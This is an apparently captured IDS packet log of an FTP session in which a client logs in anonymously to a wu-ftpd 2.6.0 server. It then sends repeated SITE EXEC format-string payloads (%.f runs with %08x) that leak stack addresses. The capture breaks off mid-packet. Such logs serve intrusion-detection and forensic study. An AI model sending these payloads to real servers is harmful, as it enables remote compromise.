06/26-06:33:29.733593 0:50:56:40:59:65 -> 0:50:56:40:59:66
type:0x800 len:0x4A
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1211 IpLen:20
DgmLen:60 DF
******S* Seq: 0xC987178B Ack: 0x0 Win: 0x7D78
TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 488404 0 NOP WS: 0
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:29.754197 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x4A
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x0 ID:12051 IpLen:20
DgmLen:60 DF
***A**S* Seq: 0x4DD6D0C2 Ack:
0xC987178C Win: 0x7D78 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 490299 488404 NOP WS: 0
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:29.739514 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1212 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987178C Ack:
0x4DD6D0C3 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488405 490299
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.801115 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x93
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12052 IpLen:20
DgmLen:133 DF
***AP*** Seq: 0x4DD6D0C3 Ack:
0xC987178C Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490606 488405
32 32 30 20 73 61 70 68 65 34 20 46 54 50 20 73 220 saphe4 FTP s
65 72 76 65 72 20 28 56 65 72 73 69 6F 6E 20 77 erver (Version w
75 2D 32 2E 36 2E 30 28 31 29 20 4D 6F 6E 20 46 u-2.6.0(1) Mon F
65 62 20 32 38 20 31 30 3A 33 30 3A 33 36 20 45 eb 28 10:30:36 E
53 54 20 32 30 30 30 29 20 72 65 61 64 79 2E 0D ST 2000) ready..
0A .
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.803051 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1213 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987178C Ack:
0x4DD6D114 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488717 490606
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.805715 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x4B
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1214 IpLen:20
DgmLen:61 DF
***AP*** Seq: 0xC987178C Ack:
0x4DD6D114 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488717 490606
55 53 45 52 20 66 74 70 0A USER ftp.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.805801 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x42
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12053 IpLen:20
DgmLen:52 DF
***A**** Seq: 0x4DD6D114 Ack: 0xC9871795 Win: 0x7D78
TcpLen: 32
TCP Options (3) => NOP NOP TS: 490606 488717
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.810794 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x86
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12054 IpLen:20
DgmLen:120 DF
***AP*** Seq: 0x4DD6D114 Ack:
0xC9871795 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490607 488717
33 33 31 20 47 75 65 73 74 20 6C 6F 67 69 6E 20 331 Guest login
6F 6B 2C 20 73 65 6E 64 20 79 6F 75 72 20 63 6F ok, send your co
6D 70 6C 65 74 65 20 65 2D 6D 61 69 6C 20 61 64 mplete e-mail ad
64 72 65 73 73 20 61 73 20 70 61 73 73 77 6F 72 dress as passwor
64 2E 0D 0A d...
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.813811 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x50
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1215 IpLen:20
DgmLen:66 DF
***AP*** Seq: 0xC9871795 Ack:
0x4DD6D158 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488717 490607
50 41 53 53 20 6D 6F 7A 69 6C 6C 61 40 0A PASS mozilla@.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.819073 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x42
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12055 IpLen:20
DgmLen:52 DF
***A**** Seq: 0x4DD6D158 Ack:
0xC98717A3 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490608 488717
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.822677 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x72
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12056 IpLen:20
DgmLen:100 DF
***AP*** Seq: 0x4DD6D158 Ack:
0xC98717A3 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490608 488717
32 33 30 20 47 75 65 73 74 20 6C 6F 67 69 6E 20 230 Guest login
6F 6B 2C 20 61 63 63 65 73 73 20 72 65 73 74 72 ok, access restr
69 63 74 69 6F 6E 73 20 61 70 70 6C 79 2E 0D 0A ictions apply...
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.835052 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x5A
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1216 IpLen:20
DgmLen:76 DF
***AP*** Seq: 0xC98717A3 Ack:
0x4DD6D188 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488719 490608
53 49 54 45 20 45 58 45 43 20 25 30 32 30 64 7C SITE EXEC %020d|
25 2E 66 25 2E 66 7C 0A
%.f%.f|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.858433 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x61
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12057 IpLen:20
DgmLen:83 DF
***AP*** Seq: 0x4DD6D188 Ack:
0xC98717BB Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490609 488719
32 30 30 2D 30 30 30 30 30 30 30 30 30 30 30 30 200-000000000000
30 30 30 30 30 30 34 39 7C 30 2D 32 7C 0D 0A 00000049|0-2|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.854517 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1217 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC98717BB Ack:
0x4DD6D1A7 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488722 490609
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.854617 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x61
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12058 IpLen:20
DgmLen:83 DF
***AP*** Seq: 0x4DD6D1A7 Ack:
0xC98717BB Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490611 488722
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 25 30 200 (end of '%0
32 30 64 7C 25 2E 66 25 2E 66 7C 27 29 0D 0A 20d|%.f%.f|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.932015 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1E2
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1218 IpLen:20
DgmLen:468 DF
***AP*** Seq: 0xC98717BB Ack:
0x4DD6D1C6 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488722 490611
53 49 54 45 20 45 58 45 43 20 37 20 6D 6D 6D 6D SITE EXEC 7 mmmm
6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E 66 25 2E 66 nnnn%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 7C 25 30 38 78 7C 25 30 38 78 7C 0A f%.f|%08x|%08x|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.935395 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0xEF
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12059 IpLen:20
DgmLen:225 DF
***AP*** Seq: 0x4DD6D1C6 Ack:
0xC987195B Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490619 488722
32 30 30 2D 37 20 6D 6D 6D 6D 6E 6E 6E 6E 2D 32 200-7 mmmmnnnn-2
2D 32 30 30 30 2D 32 30 30 30 30 30 30 30 30 30 -2000-2000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 6E 61 6E 30 30 30 30 30 00000000nan00000
30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 000-200000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2D 000000000000000-
32 2D 32 34 30 6E 61 6E 7C 62 66 66 66 64 63 61 2-240nan|bfffdca
64 7C 30 30 30 30 30 30 30 30 7C 0D 0A d|00000000|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.958576 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1219 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987195B Ack:
0x4DD6D273 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488724 490619
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.958676 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x1E9
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12060 IpLen:20
DgmLen:475 DF
***AP*** Seq: 0x4DD6D273 Ack:
0xC987195B Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490621 488724
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6D 6D 6D 6D 6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E mmmmnnnn%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 7C 25 30 38 78 7C 25 30 .f%.f%.f|%08x|%0
38 78 7C 27 29 0D 0A 8x|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.979086 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1E5
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1220 IpLen:20
DgmLen:471 DF
***AP*** Seq: 0xC987195B Ack:
0x4DD6D41A Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488727 490621
53 49 54 45 20 45 58 45 43 20 37 20 6D 6D 6D 6D SITE EXEC 7 mmmm
6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E 66 25 2E 66 nnnn%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 7C 25 30 38 78 7C 25 30 38 f%.f%.f|%08x|%08
78 7C 0A x|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:32.998800 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0xF0
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12061 IpLen:20
DgmLen:226 DF
***AP*** Seq: 0x4DD6D41A Ack:
0xC9871AFE Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490624 488727
32 30 30 2D 37 20 6D 6D 6D 6D 6E 6E 6E 6E 2D 32 200-7 mmmmnnnn-2
2D 32 30 30 30 2D 32 30 30 30 30 30 30 30 30 30 -2000-2000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 6E 61 6E 30 30 30 30 30 00000000nan00000
30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 000-200000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2D 000000000000000-
32 2D 32 34 30 6E 61 6E 30 7C 62 66 66 66 64 62 2-240nan0|bfffdb
32 38 7C 34 30 30 62 65 37 65 64 7C 0D 0A 28|400be7ed|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.079225 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1221 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9871AFE Ack: 0x4DD6D4C8 Win: 0x7D78
TcpLen: 32
TCP Options (3) => NOP NOP TS: 488730 490624
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.079315 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x1EC
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12062 IpLen:20
DgmLen:478 DF
***AP*** Seq: 0x4DD6D4C8 Ack:
0xC9871AFE Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490634 488730
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6D 6D 6D 6D 6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E mmmmnnnn%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 7C 25 30 38 78 .f%.f%.f%.f|%08x
7C 25 30 38 78 7C 27 29 0D 0A |%08x|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.085629 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1E8
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1222 IpLen:20
DgmLen:474 DF
***AP*** Seq: 0xC9871AFE Ack:
0x4DD6D672 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488730 490634
53 49 54 45 20 45 58 45 43 20 37 20 6D 6D 6D 6D SITE EXEC 7 mmmm
6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E 66 25 2E 66 nnnn%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
